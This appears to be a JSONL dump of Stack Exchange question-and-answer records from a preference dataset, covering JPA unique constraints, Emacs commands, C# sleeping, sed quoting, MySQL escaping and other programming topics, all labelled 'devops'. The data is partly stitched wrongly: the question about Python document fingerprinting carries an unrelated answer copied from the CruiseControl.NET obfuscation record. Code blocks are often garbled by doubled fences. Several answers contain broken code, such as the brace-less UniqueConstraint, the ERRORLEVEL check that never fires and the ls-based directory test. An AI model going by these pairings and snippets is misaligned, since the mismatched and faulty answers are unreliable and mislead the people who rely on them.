{"id": "hf_ed64692a9a51", "question": "<p>I want to make an entity that has an autogenerated primary key, but also a unique compound key made up of two other fields. How do I do this in JPA?<br>\nI want to do this because the primary key should be used as foreign key in another table and making it compound would not be good.</p>\n\n<p>In the following snippet, I need the command and model to be unique. pk is of course the primary key.</p>\n\n<pre><code>@Entity\n@Table(name = \"dm_action_plan\")\npublic class ActionPlan {\n    @Id\n    private int pk;\n    @Column(name = \"command\", nullable = false)\n    private String command;\n    @Column(name = \"model\", nullable = false)\n    String model;\n}\n</code></pre>\n", "question_body": "", "answer": "You can use\n```\n@UniqueConstraint\n```\nsomething like this :\n```\n```\n@Entity\n@Table(name = \"dm_action_plan\",\n       uniqueConstraints={ @UniqueConstraint(columnNames= \"command\",\"model\") } )\npublic class ActionPlan {\n    @Id\n    private int pk;\n\n    @Column(name = \"command\", nullable = false)\n    private String command;\n\n    @Column(name = \"model\", nullable = false)\n    String model;\n}\n```\n```\nThis will allow your JPA implementation to generate the DDL for the unique constraint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.439107"}
{"id": "hf_3a8036a0b3ce", "question": "<p>Is there a way to control the Fujitsu Softune debugger with an other application(e.g. Eclipse)? I think about sending the command mentioned in the documentation of Softune and parse the output, but also other approaches are welcome.</p>\n", "question_body": "", "answer": "What do you mean by controlling the Fujitsu Softune debugger?\nIf what you want to do is to start a debugging session with your freshly-compiled .abs file, you can do the following.\nIn the Eclipse environment add a button or shortcut to call the make utility to make a\n```\ndebug:\n```\n. Your makefile would have an entry like:\n```\n```\ndebug: $(make_vars)\n# start debugger\nmake -f$(make_vars) -f$(make_dir)/$(cfg) cfg=\"$(cfg)\"   debug_session\n```\n```\nIn the make entry for\n```\ndebug_session\n```\nyou put something like:\n```\n```\necho UPDATING SOFTUNE-3 PROJECT FOR  DEBUGGING;\\\n$(subst \\,/,$(DIR_SOFTUNE_WORKBENCH))/bin/Fs907s.exe softune/E7x_proj.wsp    2>/dev/null;\n```\n```\nI hope this was useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.475454"}
{"id": "hf_57f6e2b39bd9", "question": "<p>I'm looking for someone reasonably cheap but better than the majority of budget hosts out there. I'm currently with brinkster.net and I've become increasingly annoyed at the their immense unreliability and low available resources.</p>\n\n<p>Fasthosts business plan is close, but has no mysql, only has ASP.NET 2.0 and is maybe slightly more expensive than I was hoping for.</p>\n", "question_body": "", "answer": "I have had great luck with\nViux.com\n- their customer service is top-notch and they were quick to implement asp.net 3.5. I moved all my sites (5) to Viux now and couldn't be happier. Very reliable and I can't say enough about their super fast and friendly service! MySQL comes free with all of their plans and MSSQL is $2/month.\nI have tried quite a few hosts, and these guys are my favorite. If you decide on another, just make sure it is not M6.net, their customer service was just horrendous!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.525315"}
{"id": "hf_68dc67f294cb", "question": "<p>Could somebody please name a few.  I could given time, but this is for somebody else, and I'd also like some community input.</p>\n", "question_body": "", "answer": "Depends on your programming language.\nOn .net, the built-in support for .net 3.5 is obvious, although this is mainly project templates. However, SP1 adds .net Client Framework support, which is not possible within VS2005 to my knowledge.\nThis also means support for WPF with a XAML Designer, although most people still prefer Expression Blend for WPF Interfaces.\nApparantly, there is now a JavaScript Debugger, even though it's a\nbit broken\nas it seems (not sure if SP1 fixes this)\nIn short: For .net 3.5, it's almost a must-have if you are a professional developer, but that is just my opinion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.553797"}
{"id": "hf_a790452d750c", "question": "<p>I'm writing the memory manager for an application, as part of a team of twenty-odd coders.  We're running out of memory quota and we need to be able to see what's going on, since we only appear to be using about 700Mb. I need to be able to report where it's all going - fragmentation etc.  Any ideas?</p>\n", "question_body": "", "answer": "You can use existing memory debugging tools for this, I found Memory Validator\n1\nquite useful, it is able to track both API level (heap, new...) and OS level (Virtual Memory) allocations and show virtual memory maps.\nThe other option which I also found very usefull is to be able to dump a map of the whole virtual space based on VirtualQuery function. My code for this looks like this:\n```\n```\nvoid PrintVMMap()\n{\n  size_t start = 0;\n  // TODO: make portable - not compatible with /3GB, 64b OS or 64b app\n  size_t end = 1U<<31; // map 32b user space only - kernel space not accessible\n  SYSTEM_INFO si;\n  GetSystemInfo(&si);\n  size_t pageSize = si.dwPageSize;\n  size_t longestFreeApp = 0;\n\n  int index=0;\n  for (size_t addr = start; addr<end; )\n  {\n    MEMORY_BASIC_INFORMATION buffer;\n    SIZE_T retSize = VirtualQuery((void *)addr,&buffer,sizeof(buffer));\n    if (retSize==sizeof(buffer) && buffer.RegionSize>0)\n    {\n      // dump information about this region\n      printf(.... some buffer information here ....);\n      // track longest feee region - usefull fragmentation indicator\n      if (buffer.State&MEM_FREE)\n      {\n        if (buffer.RegionSize>longestFreeApp) longestFreeApp = buffer.RegionSize;\n      }\n      addr += buffer.RegionSize;\n      index+= buffer.RegionSize/pageSize;\n    }\n    else\n    {\n      // always proceed\n      addr += pageSize;\n      index++;\n    }\n  }\n  printf(\"Longest free VM region: %d\",longestFreeApp);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.591582"}
{"id": "hf_4f6721c4a08d", "question": "<p>There is no documentation on cakephp.org and I am unable to find one on google. Please link me some documentation or supply one!</p>\n", "question_body": "", "answer": "The translate behavior is another of CakePHP's very useful but poorly documented features. I've implemented it a couple of times with reasonable success in multi-lingual websites along the following lines.\nFirstly, the translate behavior will only internationalize the database content of your site. If you've any more static content, you'll want to look at Cake's\n```\n__('string')\n```\nwrapper function and\n```\ngettext\n```\n(there's some useful information about this\nhere\n)\nAssuming there's Contents that we want to translate with the following db table:\n```\n```\nCREATE TABLE `contents` (\n    `id` int(11) unsigned NOT NULL auto_increment,\n    `title` varchar(255) default NULL,\n    `body` text,\n  PRIMARY KEY  (`id`),\n) ENGINE=InnoDB  DEFAULT CHARSET=utf8;\n```\n```\nThe content.php model then has:\n```\n```\nvar $actsAs = array('Translate' => array('title'   => 'titleTranslation',\n                     'body'    => 'bodyTranslation'\n                     ));\n```\n```\nin its definition. You then need to add the i18n table to the database thusly:\n```\n```\nCREATE TABLE `i18n` (\n  `id` int(10) NOT NULL auto_increment,\n  `locale` varchar(6) NOT NULL,\n  `model` varchar(255) NOT NULL,\n  `foreign_key` int(10) NOT NULL,\n  `field` varchar(255) NOT NULL,\n  `content` mediumtext,\n  PRIMARY KEY  (`id`)\n) ENGINE=InnoDB  DEFAULT CHARSET=utf8;\n```\n```\nThen when you're saving the data to the database in your controller, set the locale to the language you want (this example would be for Polish):\n```\n```\n$this->Content->locale = 'pol';\n$result = $this->Content->save($this->data);\n```\n```\nThis will create entries in the i18n table for the title and body fields for the pol locale. Finds will find based on the current locale set in the user's browser, returning an array like:\n```\n```\n[Content]\n  [id]\n  [titleTranslation]\n  [bodyTranslation]\n```\n```\nWe use the excellent\np28n component\nto implement a language switching solution that works pretty well with the gettext and translate behaviours.\nIt's not a perfect system - as it creates HABTM relationships on the fly, it can cause some issues with other relationships you may have created manually, but if you're careful, it can work well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.616124"}
{"id": "hf_71875c94e746", "question": "<p>Emacs Lisp has <code>replace-string</code> but has no <code>replace-char</code>. I want to replace \"typographic\" curly quotes (Emacs code for this character is hexadecimal 53979) with regular ASCII quotes, and I can do so with:</p>\n\n<pre><code>(replace-string (make-string 1 ?\\x53979) \"'\")\n</code></pre>\n\n<p>I think it would be better with <code>replace-char</code>. </p>\n\n<p>What is the best way to do this?</p>\n", "question_body": "", "answer": "which would certainly be better with replace-char. Any way to improve my code?\nIs it actually slow to the point where it matters? My elisp is usually ridiculously inefficient and I never notice. (I only use it for editor tools though, YMMV if you're building the next MS live search with it.)\nAlso, reading the docs:\n```\n```\nThis function is usually the wrong thing to use in a Lisp program.\nWhat you probably want is a loop like this:\n  (while (search-forward \"’\" nil t)\n    (replace-match \"'\" nil t))\n```\n```\nThis answer is probably GPL licensed now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.652410"}
{"id": "hf_68b09d57d780", "question": "<p>I have an IList that contains items ( parent first ), they need to be added to a Diagram Document in the reverse order so that the parent is added last, drawn on top so that it is the first thing to be selected by the user.</p>\n\n<p>What's the best way to do it? Something better/more elegant than what I am doing currently\nwhich I post below..</p>\n", "question_body": "", "answer": "NewItems is my List here... This is a bit clunky though.\n```\n```\nfor(int iLooper = obEvtArgs.NewItems.Count-1; iLooper >= 0; iLooper--)\n            {\n                GoViewBoy.Document.Add(CreateNodeFor(obEvtArgs.NewItems[iLooper] as IMySpecificObject, obNextPos));\n            }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.700489"}
{"id": "hf_475c43d79f7f", "question": "<p>I am fairly comfortable with standalone Java app development, but will soon be working on a project using a Java EE application server.</p>\n\n<p>Does anyone know of a straightforward how-to tutorial to getting a hello-world type application working in an application server? I'm (perhaps naievly) assuming that the overall approach is similar between different frameworks, so I'm more interested in finding out the approach rather than getting bogged down in differences between the different frameworks.</p>\n\n<p>If you are not aware of a good guide, then could you post bullet-point type steps to getting a hello-world running?, i.e.</p>\n\n<ol>\n<li>Download XX</li>\n<li>Write some code to do YY</li>\n<li>Change file ZZ</li>\n<li>Other steps...</li>\n</ol>\n\n<p>Note: Just because I have a windows machine at home, I would prefer to run if this could be run on windows, but in the interest of a better answer, linux/mac based implementations are welcome.</p>\n", "question_body": "", "answer": "The JavaEE (they dropped the 2) space is pretty big. A good tutorial to start is\nthe one from Sun\n. For a simple hello world application, the web container only would suffice. A well known servlet jsp container is tomcat. See\nhere\nfor installation instructions. Try installing it with eclipse and create a web project. This will generate some files for you that you can look at and edit. Also starting and stopping the application server is simpler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.746364"}
{"id": "hf_9627167b1405", "question": "<p>In Emacs, <kbd>C-x o</kbd> takes me to the next window.</p>\n\n<p>What keyboard macro takes me to the previous window in Emacs?</p>\n", "question_body": "", "answer": "That'd be\nC-- C-x o\nIn other words,\nC-x o\nwith an argument of -1. You can specify how many windows to move by inserting a numeric argument between\nC-u\nand the command, as in\nC-u 2 C-x o\n. (\nC--\nis a shortcut for\nC-u - 1\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.771304"}
{"id": "hf_767d121faaf1", "question": "<p>How do I get my C# program to sleep (pause execution) for 50 milliseconds?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Threading.Thread.Sleep(50);\n```\n```\nRemember though, that doing this in the main GUI thread will block your GUI from updating (it will feel \"sluggish\")\nJust remove the\n```\n;\n```\nto make it work for VB.net as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.805783"}
{"id": "hf_7daaa9216aef", "question": "<p>How to match a single quote in sed if the expression is enclosed in single quotes:</p>\n\n<pre><code>sed -e '...'\n</code></pre>\n\n<p>For example need to match this text:</p>\n\n<pre><code>'foo'\n</code></pre>\n", "question_body": "", "answer": "You can either use:\n```\n```\n\"texta'textb\" (APOSTROPHE inside QUOTATION MARKs)\n```\n```\nor\n```\n```\n'texta'\\''textb' (APOSTROPHE text APOSTROPHE, then REVERSE SOLIDUS, APOSTROPHE, then APOSTROPHE more text APOSTROPHE)\n```\n```\nI used unicode character names. REVERSE SOLIDUS is more commonly known as backslash.\nIn the latter case, you close your apostrophe, then shell-quote your apostrophe with a backslash, then open another apostrophe for the rest of the text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.827608"}
{"id": "hf_4db9a1945103", "question": "<p>How do I create an optional parameter in a mysql stored procedure?</p>\n", "question_body": "", "answer": "According to\nthis bug\n, there is currently no way to create optional parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.913528"}
{"id": "hf_6e2657bbbe72", "question": "<p>Are XMLSockets available in Flash <strong>Lite</strong>, and if yes in which versions, and are there differences between the regular and the lite objects?</p>\n", "question_body": "", "answer": "I don't know enough to tell you the exact difference(s) between XML sockets in Flash and Flash Lite, but they are definitely supported in Flash Lite versions 2.1 and later.  See the\nFlash Mobile Blog\nfor an example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.937449"}
{"id": "hf_227a4bed33b2", "question": "<p>What things have to be done before I can honestly tell myself my web application is accessible by anyone? Or even better, convince Joe Clark. I don't have any video or audio to worry about, so I know I won't need transcripts. What else do I have to check?</p>\n", "question_body": "", "answer": "Your question is very vague, but in short, you need to ensure that your site meets one of the three levels (A, AA, or AAA) of the\nWeb Content Accessibility Guidelines\n.\nFWIW, in my experience, if you are providing anything other than a purely static HTML site, aim for AA. Trying to follow the WCAG guidelines stringently to triple-A standard for a dynamic website is the road to hair loss IMO. This may change with WCAG 2.0.\nGood luck!\nEDIT:\n@Blowdart suggests running your site through online checkers. This is fine so long as you realise that many of the WCAG guidelines (especially towards the higher end) are so arbitrary, they can only be validated with a human eye.\nDo not trust the output of these online checkers and blindly stick a AAA badge on your site. If you are called on it, you may be in trouble.\n+1 Blowdart for suggesting HTML and CSS validation, and Chris Pederick's add-on is\ngreat\n!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.988700"}
{"id": "hf_c7180da9f28f", "question": "<p>this is my first question to stackoverflow so here it goes...</p>\n\n<p>I use cruise control for my continuous integration scheme, i want to use obfuscation in order to add another protection layer to my assemblies. The thing is that i don't know how to go about it since i couldn't find articles describing about this. Suggestions that include other CI tools such as NAnt are also accepted. </p>\n\n<p>Commercial tools are also an option so don't hesitate to include them in your answer. The applications that i am building and want to obfuscate are mostly written in Compact Framework 2.0, Dot Net 2.0-3.5.</p>\n\n<p>At the moment cruise control checks for changes in the repository, then based on the script for the specific solution downloads and builds the project by using devenv, after the setup project has been run it copies the setup file into a different folder and thats more or less it. So i need obfuscate somewhere in this process..</p>\n", "question_body": "", "answer": "Nice to hear someone is using CruiseControl.NET. That is a nice tool. You can use a command line tool for obfuscation as RemoteSoft .NET Obfuscator and integrate a call to the tool in the build script. See example on how to execute a file below from CruiseControl.NET wiki.\nhttp://www.remotesoft.com/salamander/obfuscator.html\n```\n```\n<exec>\n    <executable>make</executable>\n    <baseDirectory>D:\\dev\\MyProject</baseDirectory>\n    <buildArgs>all</buildArgs>\n    <buildTimeoutSeconds>10</buildTimeoutSeconds>\n    <successExitCodes>0,1,3,5</successExitCodes>\n    <environment>\n        <variable>\n            <name>MyVar1</name>\n            <value>Var1Value</value>\n        </variable>\n        <variable name=\"MyVar2\" value=\"Var2Value\"/>\n        ...\n    </environment>\n</exec>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.041091"}
{"id": "hf_37ebb1a447b3", "question": "<p>I need to write code in python language for comparing the text of document using fingerprint techniques. I do not know to take fingerprint of a document or to generate fingerprint of a document. I'm asking if anyone knows the method or has source code for generating fingerprints of documents which is stored in bits form.</p>\n", "question_body": "", "answer": "Nice to hear someone is using CruiseControl.NET. That is a nice tool. You can use a command line tool for obfuscation as RemoteSoft .NET Obfuscator and integrate a call to the tool in the build script. See example on how to execute a file below from CruiseControl.NET wiki.\nhttp://www.remotesoft.com/salamander/obfuscator.html\n```\n```\n<exec>\n    <executable>make</executable>\n    <baseDirectory>D:\\dev\\MyProject</baseDirectory>\n    <buildArgs>all</buildArgs>\n    <buildTimeoutSeconds>10</buildTimeoutSeconds>\n    <successExitCodes>0,1,3,5</successExitCodes>\n    <environment>\n        <variable>\n            <name>MyVar1</name>\n            <value>Var1Value</value>\n        </variable>\n        <variable name=\"MyVar2\" value=\"Var2Value\"/>\n        ...\n    </environment>\n</exec>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.063859"}
{"id": "hf_d3abb62105f4", "question": "<p>I'm trying to draw a polygon using c# and directx</p>\n\n<p>All I get is an ordered list of points from a file and I need to draw the flat polygon in a 3d world.</p>\n\n<p>I can load the points and draw a convex shape using a trianglefan and drawuserprimitives.</p>\n\n<p>This obviously leads to incorrect results when the polygon is very concave (which it may be).</p>\n\n<p>I can't imagine I'm the only person to grapple with this problem (tho I'm a gfx/directx neophyte - my background is in gui\\windows application development). </p>\n\n<p>Can anyone point me towards a simple to follow resource\\tutorial\\algorithm which may assist me?</p>\n", "question_body": "", "answer": "Direct3D can only draw triangles (well, it can draw lines and points as well, but that's besides the point). So if you want to draw any shape that is more complex than a triangle, you have to draw a bunch of touching triangles that equal to that shape.\nIn your case, it's a concave polygon triangulation problem. Given a bunch of vertices, you can keep them as is, you just need to compute the \"index buffer\" (in simplest case, three indices per triangle that say which vertices the triangle uses). Then draw that by putting into vertex/index buffers or using DrawUserPrimitives.\nSome algorithms for triangulating simple (convex or concave, but without self-intersections or holes) polygons are at\nVTerrain site\n.\nI have used Ratcliff's code in the past; very simple and works well. VTerrain has a dead link to it; the code can be found\nhere\n. It's C++, but porting that over to C# should be straightforward.\nOh, and don't use triangle fans. They are of very limited use, inefficient and are going away soon (e.g. Direct3D 10 does not support them anymore). Just use triangle lists.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.098637"}
{"id": "hf_9ff771de80aa", "question": "<p>I'm a little confused about how the standard library will behave now that Python (from 3.0) is unicode-based. Will modules such as CGI and urllib use unicode strings or will they use the new 'bytes' type and just provide encoded data?</p>\n", "question_body": "", "answer": "Logically a lot of things like MIME-encoded mail messages, URLs, XML documents, and so on should be returned as\n```\nbytes\n```\nnot strings. This could cause some consternation as the libraries start to be nailed down for Python 3 and people discover that they have to be more aware of the\n```\nbytes\n```\n/\n```\nstring\n```\nconversions than they were for\n```\nstr\n```\n/\n```\nunicode\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.124886"}
{"id": "hf_d9253ff5a1d9", "question": "<p>I've been wanting to program for the Plan 9 operating system for a while. I'd really like to play around with a web app there. Of course, the only language I know for Plan 9 is C, and that doesn't seem ideal for web development. I also understand that it doesn't run apache or mysql either.</p>\n\n<p>What is the best way to start coding web apps on Plan 9?</p>\n", "question_body": "", "answer": "Check out Kenji Arisawa's\nPegasus\n(\npaper\n) webserver for Plan 9.\nPlan 9 may have a reputation for being C-only, but several langauges, including Scheme, Ruby, Python, and Perl have been ported. Check out the\nContrib Index\nfor the code.\nFinally, start reading the Plan 9\nwhite papers\nso that you can understand its philosophy. If you want to do net-related things, the file protocol\n9p\nis essential.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.147700"}
{"id": "hf_11cd84fb11e3", "question": "<p><code>mysql_real_escape_string</code> and <code>addslashes</code> are both used to escape data before the database query, so what's the difference? (This question is not about parametrized queries/PDO/mysqli)</p>\n", "question_body": "", "answer": "It seems that\n```\nmysql_real_escape_string\n```\nis binary-safe - the documentation states:\nIf binary data is to be inserted, this function must be used.\nI think it's probably safer to always use\n```\nmysql_real_escape_string\n```\nthan addslashes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.190874"}
{"id": "hf_7b23384b812e", "question": "<p>Part of the install for an app I am responsible for, compiles some C code libraries. This is done in a console using GNU Make.</p>\n\n<p>So, as part of the install, a console window pops open, you see the make file output wiz by as it compiles and links, when finished the console window closes and the installer continues.</p>\n\n<p>All good, unless there is a compilation error. Then the make file bugs out and the console window closes before you have a chance to figure out what is happening.</p>\n\n<p>So, what I'd like to happen is have the console window pause with a 'press a key to continue' type functionality, if there is an error from the makefile so that the console stays open. Otherwise, just exit as normal and close the console.</p>\n\n<p>I can't work out how to do this in a GNU Makefile or from a batch file that could run the Make. </p>\n", "question_body": "", "answer": "this should do the trick:\n```\n```\nif not ERRORLEVEL 0 pause\n```\n```\ntype\n```\nhelp if\n```\nin DOS for more info on errorlevel usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.262920"}
{"id": "hf_ca260b6d0deb", "question": "<p>Any free alternative to Robohelp?  Prefer open source</p>\n\n<p>Need some sort of online help authoring tool for an open source project.</p>\n", "question_body": "", "answer": "Are you trying to make just CHM or other output formats too?\nTake a look at DocBook. You can make (from one source file) pdf, html and chm - and some others, too. I've used it in the past but it's not very easy or convenient to use. If you only want to output chm (and need to use a free solution), see if you can get away with using the htmlhelp workshop (\nhttp://www.microsoft.com/downloads/details.aspx?familyid=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.287406"}
{"id": "hf_ec648018db3d", "question": "<p>SslStream is supposed to negotiate the cipher type, key length, hash algorithm, etc. with its peer SSL stack. When using it in my code, I find that the negotiation always defaults to RC4 &amp; MD5. I would like to use 3DES or AES for some added security.</p>\n\n<p>Looking around the web I find only a few references to this problem and no solutions; one poster is claiming this actually makes sense, since the lowest common denominator between the two stacks is secure while has the added benefit of being faster/using less CPU resources. While this may be technically correct, my particular trade-off between complexity and cost lies elsewhere (I prefer to use AES with a long key).</p>\n\n<p>If anyone can help I'd appreciate it.</p>\n", "question_body": "", "answer": "It should be using the most secure set of algorithms that were in both lists. I find it hard to believe that it isn't, because SslStream is wrapping the SChannel SSPI, and if that were broken then Internet Explorer, IIS and everything else on Windows would be broken too.\nIt could be that you have an outdated version of SChannel.dll/Secur32.dll. What OS and Internet Explorer version do you have installed?\nIt is possible to\ndisable protocols in SCHANNEL\n. Could you check that this hasn't been done?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.358258"}
{"id": "hf_c1e706d9e82c", "question": "<p>Is there a easy way to do this? Or do I have to parse the file and do some search/replacing on my own?</p>\n\n<p>The ideal would be something like:</p>\n\n<pre><code>var myXML: XML = ???; // ... load xml data into the XML object\n\nmyXML.someAttribute = newValue; \n</code></pre>\n", "question_body": "", "answer": "Attributes are accessible in AS3 using the\n```\n@\n```\nprefix.\nFor example:\n```\n```\nvar myXML:XML = <test name=\"something\"></test>;\ntrace(myXML.@name);\nmyXML.@name = \"new\";\ntrace(myXML.@name);\n```\n```\nOutput:\n```\n```\nsomething\nnew\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.383656"}
{"id": "hf_3b4435a49c8e", "question": "<p>When I use quick documentaion lookup (Ctrl+Q) on j2ee classes or annotations in IDEA I only get an empty javadoc. It only contains the basics like class name.</p>\n\n<p>How do I add the javadoc to the libs IDEA provides itself?</p>\n", "question_body": "", "answer": "You can attach javadoc to any library you have configure in your module or project. Just access the project structure windows\n```\n(File -> Project Structure)\n```\n, then select \"modules\" and select the module that has the dependency you want to configure.\nThen select the \"Dependencies\" tab, select the dependency that's missing the javadoc and click \"Edit\". In the window that just showed up you see two buttons \"Add\" and \"Specify Javadoc URL\". If you have the javadoc in a jar file select the first one, if you want to point to a web site that contains the javadoc select the latest.\nThat's it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.406429"}
{"id": "hf_e7daaade1cdd", "question": "<p>How can brackets be escaped in using <code>string.Format</code>?</p>\n<p>For example:</p>\n<pre><code>String val = &quot;1,2,3&quot;\nString.Format(&quot; foo {{0}}&quot;, val);\n</code></pre>\n<p>This example doesn't throw an exception, but it outputs the string <code>foo {0}</code>.</p>\n<p>Is there a way to escape the brackets?</p>\n", "question_body": "", "answer": "For you to output\n```\nfoo {1, 2, 3}\n```\nyou have to do something like:\n```\n```\nstring t = \"1, 2, 3\";\nstring v = String.Format(\" foo {{{0}}}\", t);\n```\n```\nTo output a\n```\n{\n```\nyou use\n```\n{{\n```\nand to output a\n```\n}\n```\nyou use\n```\n}}\n```\n.\nOr now, you can also use C# string interpolation like this (a feature available in C# 6.0)\nEscaping brackets: String interpolation $(\"\")\n. It is new feature in C# 6.0.\n```\n```\nvar inVal = \"1, 2, 3\";\nvar outVal = $\" foo {{{inVal}}}\";\n// The output will be:  foo {1, 2, 3}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.500888"}
{"id": "hf_eec37af1c063", "question": "<p>From a shell script, how do I check if a directory contains files?</p>\n\n<p>Something similar to this</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>if [ -e /some/dir/* ]; then echo \"huzzah\"; fi;\n</code></pre>\n\n<p>but which works if the directory contains one or several files (the above one only works with exactly 0 or 1 files).</p>\n", "question_body": "", "answer": "Try:\n```\n```\nif [ ! -z `ls /some/dir/*` ]; then echo \"huzzah\"; fi\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:04.550011"}
